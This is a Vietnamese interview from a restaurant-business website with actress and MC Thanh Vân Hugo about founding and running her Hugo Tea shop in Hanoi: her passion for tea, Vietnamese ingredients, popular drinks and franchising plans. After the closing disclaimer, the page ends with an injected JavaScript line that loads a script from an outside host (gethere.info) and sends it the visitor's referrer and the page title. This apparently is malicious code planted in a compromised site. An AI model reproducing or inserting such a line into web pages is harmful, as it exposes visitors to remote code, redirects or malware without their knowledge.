Thanh Vân Hugo – Chủ quán Hugo Tea : “Trong cuộc sống nếu mình có cái “Chất” thực sự thì chắc chắn sẽ tồn tại”

Tuyến phố một chiều Nguyễn Hữu Huân, Hoàn Kiếm, Hà Nội luôn tấp nập đông đúc người qua, ồn ào và náo nhiệt với những hàng quán mọc lên san sát, một dãy phố nổi tiếng với những quán cà phê truyền thống Hà Nội, những quán cà phê mang hơi hướng mới của giới trẻ nhưng không ai có thể bỏ qua, hay không biết đến quán trà sữa đặc trưng hương vị Việt của cô chủ quán nổi tiếng trong làng nghệ thuật mang tên Hugo Tea tại số nhà 62.

Kinhdoanhnhahang.vn có dịp được trò chuyện và chia sẻ để cùng tìm hiểu về ý tưởng cũng như là quá trình hoạt động kinh doanh của quán Hugo Tea – “Đứa con tinh thần” của nữ diễn viên trẻ, MC Thanh Vân Hugo.

Diễn viên, MC Thanh Vân Hugo (Nguyễn Thanh Vân) – Chủ quán Hugo Tea

Kinhdoanhnhahang.vn (KDNH): Chào chị! Để bắt đầu cuộc trò chuyện ngày hôm nay, chị có đôi chút chia sẻ gì về hoạt động nghệ thuật của mình trong thời gian vừa qua cũng như là vài nét về Hugo Tea hay không?

Chị Thanh Vân Hugo (TV): Gần đây ngoài việc đi quay thực tế cho chương trình “Vì bạn xứng đáng” và kết thúc chuyến công tác tại Nhật thì mình đang tham gia một dự án phim mới, công việc khá là bận nhưng mình vẫn sắp xếp dành thời gian qua quán để dõi theo những hoạt động hằng ngày của Hugo Tea. Quán đến nay đã mở được gần 3 tháng, trước thời điểm đó cũng đã có khoảng 2 tháng để xây dựng một cách có kế hoạch nên giờ quán cũng bắt đầu đi vào hoạt động ổn định, có một lượng khách trung thành nhất định rất yêu thích trà tại đây và mình thấy rất vui về điều này vì đó là những điều tâm huyết của mình dành cho mọi người, đặc biệt với những ai yêu thích trà thực sự.

KDHNH: Được biết đến chị với vai trò là một MC, hay diễn viên…, ngày hôm này lại được ngồi đây trò chuyện với chị với cương vị là một chủ quán trà sữa nổi tiếng trong giới trẻ gần đây, dựa vào ý tưởng nào hay động lực nào khiến chị đang hoạt động trong con đường nghệ thuật lại rẽ sang thêm một lĩnh vực khác là kinh doanh?

TV: Bật mí nhỏ (cười), mình là người rất thích trà, từ hồi nhỏ đã có niềm đam mê với trà đạo, bố mình là người rất là thích trà nên mỗi lần sau bữa cơm gia đình mình lại ngồi thưởng thức trà với bố, từ đó đến bây giờ mình vẫn thích uống trà và có sự tìm hiểu về những quán trà ngon. Để mở Hugo Tea cũng như là một cái duyên, sau một khoảng thời gian dài được thưởng thức hương vị trà ở nhiều nơi thì sau thời điềm kết thúc chương trình VietNam Got Talent, mình có nhiều thời gian hơn và đã tập trung tìm hiểu về hương vị trà nhất định tại Việt Nam, rồi lên kế hoạch mọi thứ để xây dựng quán. Trước khi mở Hugo Tea mình có mở một quán Cơm Gà Bà Đầm, mình muốn mở song song hai mô hình để mọi người vừa có địa điểm ăn lại vừa có địa điểm uống, cùng với đó mình nghĩ rằng nhu cầu ăn uống là không bao giờ dừng lại đối với tất cả mọi người, đồng thời cũng như là muốn có một không gian riêng cho bản thân để tụ tập bạn bè hay thưởng thức những thứ mình yêu thích  do tự tay mình làm ra. Vì vậy mà Hugo Tea đã ra đời.

Không gian nhã nhặn, xinh xắn, tinh tế của Hugo Tea

KDNH: Hiện nay có rất nhiều quán trà sữa nổi tiếng trong giới trẻ hiên nay như Ding Tea, Xing Cha, hay Chatime…, điều gì khiến chị vẫn chọn trà sữa là mặt hàng kinh doanh của mình ?

TV: Mình muốn làm ra các loại trà hay trà sữa có nguồn gốc từ Việt Nam, muốn tạo ra một dấu ấn gì đó cho trà Việt để mọi người biết đến rộng rãi hơn, yêu thích hơn các sản phẩm trong nước mà không quá chạy theo trào lưu từ bên ngoài. Quán không chỉ kinh doanh vì trà sữa mà nổi tiếng về trà trái cây, trà sữa ở đây không quá là nổi trội, mọi người thích đến Hugo Tea uống Trà đào, Trà vải, Trà hoa quả, Trà Kiwi, đấy là những loại trà rất “Hot”, còn trà sữa với nhiều hương vị khác nhau như: Trà sữa Hugo, Trà Thiết Quan Âm, Trà Ô Long Sữa cũng được rất nhiều vị khách yêu mến không chỉ người lớn mà các em nhỏ cũng rất thích thú, quán có nhiều vị trà phục vụ cho rất nhiều lứa tuổi phù hợp với mỗi sở thích.

Ngoài trà còn có một số loại bánh rất hấp dẫn

Thực đơn hấp dẫn tại quán

KDNH: Khác với những trà sữa có bắt nguồn từ Đài Loan, Hongkong, hay Nhật Bản…, hiện nay có mặt rất nhiều trên thị trường, như chị chia sẻ thì Hugo Tea có bắt nguồn từ Việt Nam, chị có thể chia sẻ rộng hơn về điều này?

TV: Mình có đi uống trà ở rất nhiều nơi, khi mình thích một vị trà ở đâu thì sẽ tập trung tìm hiểu đến cùng, để tìm tòi ra đúng hương vị đấy, và đầu tư khá nhiều thời gian để làm ra vị trà đặc trưng như ở đây. Hugo Tea có nguyên liệu 100% là ở Việt Nam, trà được trồng ở Lâm Đồng và sữa để dùng pha chế cũng là sữa ngôi sao Phương Nam, hoàn toàn không dùng trân châu, thạch rau câu là tự nấu và dùng bán cho cả ngày, hết ngày là không dùng đến nữa nếu như còn, mọi nguyên liệu pha chế đều phải nghĩ đến sức khỏe của người tiêu dùng, và bản thân mình uống thấy ngon thì khách mới thấy ngon. Mình tự tin và rất tự hào khi làm được việc gì đấy như những gì mình mong muốn, người Việt dùng hàng Việt và chất lượng phải thật chuẩn – thật ngon.

 KDNH: Theo chị, điều gì khiến Hugo Tea thu hút được khách hàng?

TV: Trà là một cái rất đặc trưng, nếu như người ta chọn thức uống để giải khát thì có thể dùng những bột trà pha chế đơn giản như trà Đài Loan rất dễ uống, hầu như sẽ không cảm nhận được vị trà trong đấy, chỉ thấy vị ngọt, vị sữa, vị siro nhưng đến với trà của Hugo Tea, một cốc trà hay trà sữa có nhiều công thức, nếu uống  có thể thấy không chỉ có vị ngọt mà nó còn có cả vị trà được hãm, được pha rất đặc trưng, phải được làm theo đúng công đoạn không giống trà sữa thông thường chỉ pha từ bột. Mình rất tự tin là khi những ai yêu thích trà thực sự thì uống trà của quán sẽ bị nghiện, sẽ thích và sẽ quay lại, cũng như nếu trong cuộc sống mình có cái “Chất” thực sự thì chắc chắn mình sẽ tồn tại. Không chọn đối tượng thích cái gì trào lưu trên thị trường mà mình chọn đối tượng thích trà thực sự, đấy là điều thu hút thực khách đến với Hugo Tea (cười).

KDNH: Vừa hoạt động công việc nghệ thuật, một mình chăm lo công việc gia đình, lại vừa điều hành Hugo Tea, chị có gặp phải khó khăn gì không?

TV: (Cười), mình lúc nào cũng trong tình trạng phải cân bằng, khối lượng công việc quá lớn, hiện tại công việc nghệ thuật vẫn chiếm rất nhiều thời gian, còn việc kinh doanh thì đã mất thời gian đầu để xây dựng nên hiện tại cũng đi vào “guồng” nên mình không quá lo lắng. Cũng không phải gặp nhiều khó khăn, ở đây những nhân viên cũng như là những người bạn đều là người rất yêu thích trà, và chính họ là những người có tâm nên vẫn luôn giữ được chất lương đúng vị của trà, đó cũng là điều mình cảm thấy thực sự may mắn và yên tâm đặt niềm tin vào nhân viên của mình, còn cá nhân mình thì luôn phải cố gắng để hoàn thiện vai trò là người mẹ, là người chủ trong mọi việc (cười).

KDNH: Tên quán dễ nhớ cũng mang tên theo đúng “thương hiệu” của chị?

TV: (Cười) Đúng như vậy, đơn giản người ta đến quán cũng nhớ đến mình, nhớ đến vị trà chỉ có mình mình có, đó cũng là điều thu hút khách hàng.

KDNH: Dự định sắp tới dành cho Hugo Tea là gì? Và tương tự như một số quán như Cộng Cafe hay Koh Samui Hut,…cũng được phát triển dưới hình thức “Nhượng quyền thương mại”, chị có nghĩ đến hình thức này và áp dụng cho Hugo Tea?

TV: Sắp tới là mùa đông nên mình sẽ chuyển hướng sang pha chế trà nóng. Mình có ý định muốn mở rộng cơ sở nhưng lại vướng vào việc mở Cơm Bà Đầm 2 nên tạm thời chưa thực hiện được, vì vấn đề vốn phải được sự dung một cách hợp lý, nên mọi thứ đều là trong tương lai gần (Cười). Có rất là nhiều nơi, các tỉnh hay như chính ở Hà Nội có rất nhiều người đặt vấn đề nhượng quyền, nhưng vẫn chưa đồng ý vì mình nghĩ đây vẫn đang là thời điểm để xây dựng quán vững mạnh hơn, chưa phù hợp để phát triển như một thương hiệu lớn, cái gì cũng cần phải có thời gian để xây dựng, mình phải chứng minh được trà của quán có chất lượng thực sự, có một cái nhìn yêu mến quen thuộc thực sự thì mình có thể phát triển xa hơn.

KDNH: Xin cám ơn chị về buổi trò chuyện rất thân mật và nhiệt tình này !

(Bài phỏng vấn này được thực hiện bởi chuyên trang Kinhdoanhnhahang.vn, website chính thức và duy nhất cung cấp những kiến thức nhà hàng, bài học thành công của những chủ doanh nghiệp tại Hà Nội. Những quan điểm trong bài phỏng vấn thể hiện quan điểm riêng của khách mời, không phản ánh quan điểm của Kinhdoanhnhahang.vn)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;